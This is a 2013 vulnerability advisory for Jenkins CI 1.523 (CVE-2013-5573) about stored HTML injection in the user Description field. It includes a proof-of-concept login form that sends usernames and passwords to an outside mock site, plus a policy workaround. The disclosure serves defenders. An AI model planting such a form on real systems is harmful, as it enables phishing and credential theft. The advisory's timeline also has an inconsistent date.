Jenkins 1.523 – Persistent HTML Code
################################################### 01. ### Advisory Information ### Title: Default markup formatter permits offsite-bound forms Date published : 2013-12-16 Date of last update: 2013-12-16 Vendors contacted : Jenkins CI v 1.523 Discovered by: Christian Catalano Severity: Low 02. ### Vulnerability Information ### CVE reference: CVE-2013-5573 CVSS v2 Base Score: 4.7 CVSS v2 Vector : (AV:N/AC:L/Au:M/C:P/I:P/A:N) Component/s : Jenkins CI v 1.523 Class : HTML Injection 03. ### Introduction ### Jenkins CI is an extendable open source continuous integration server http://jenkins-ci.org. 04. ### Vulnerability Description ### The default installation and configuration of Jenkins CI is prone to a security vulnerability. The Jenkins CI default markup formatter permits offsite-bound forms. This vulnerability could be exploited by a remote attacker (a malicious user) to inject malicious persistent HTML script code (application side). 05. ### Technical Description / Proof of Concept Code ### The vulnerability is located in the 'Descriotion' input field of the User Configuration function: https://localhost:9444/jenkins/user/attacker/configure To reproduce the vulnerability, the attacker (a malicious user) can add the malicious HTML script code: <form method="POST" action="http://www.mocksite.org/login/login.php."> Username: <input type="text" name="username" size="15" /><br /> Password: <input type="password" name="passwort" size="15" /><br /> <div align="center"> <p><input type="submit" value="Login" /></p> </div> </form> in the 'Descriotion' input field and click on save button. The code execution happens when the victim (an unaware user) view the 'People List' https://localhost:9444/jenkins/asynchPeople/ and click on attacker user id. 06. ### Business Impact ### Exploitation of the persistent web vulnerability requires a low privilege web application user account. Successful exploitation of the vulnerability results in persistent phishing and persistent external redirects. 07. ### Systems Affected ### This vulnerability was tested against: Jenkins CI v1.523 Older versions are probably affected too, but they were not checked. 08. ### Vendor Information, Solutions and Workarounds ### Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily mitigate the flaw by implementing the following workaround: 'MyspacePolicy' permits tag("form", "action", ONSITE_OR_OFFSITE_URL, "method"); Fix 'MyspacePolicy' by restricting the policy to ONSITE_URL only or perhaps <form> could be banned entirely. 09. ### Credits ### This vulnerability has been discovered by: Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com 10. ### Vulnerability History ### August 21th, 2013: Vulnerability identification August 4th, 2013: Vendor notification [Jenkins CI] November 19th, 2013: Vulnerability confirmation [Jenkins CI] November 19th, 2013: Vendor Solution December 16th, 2013: Vulnerability disclosure 11. ### Disclaimer ### The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ################################################### |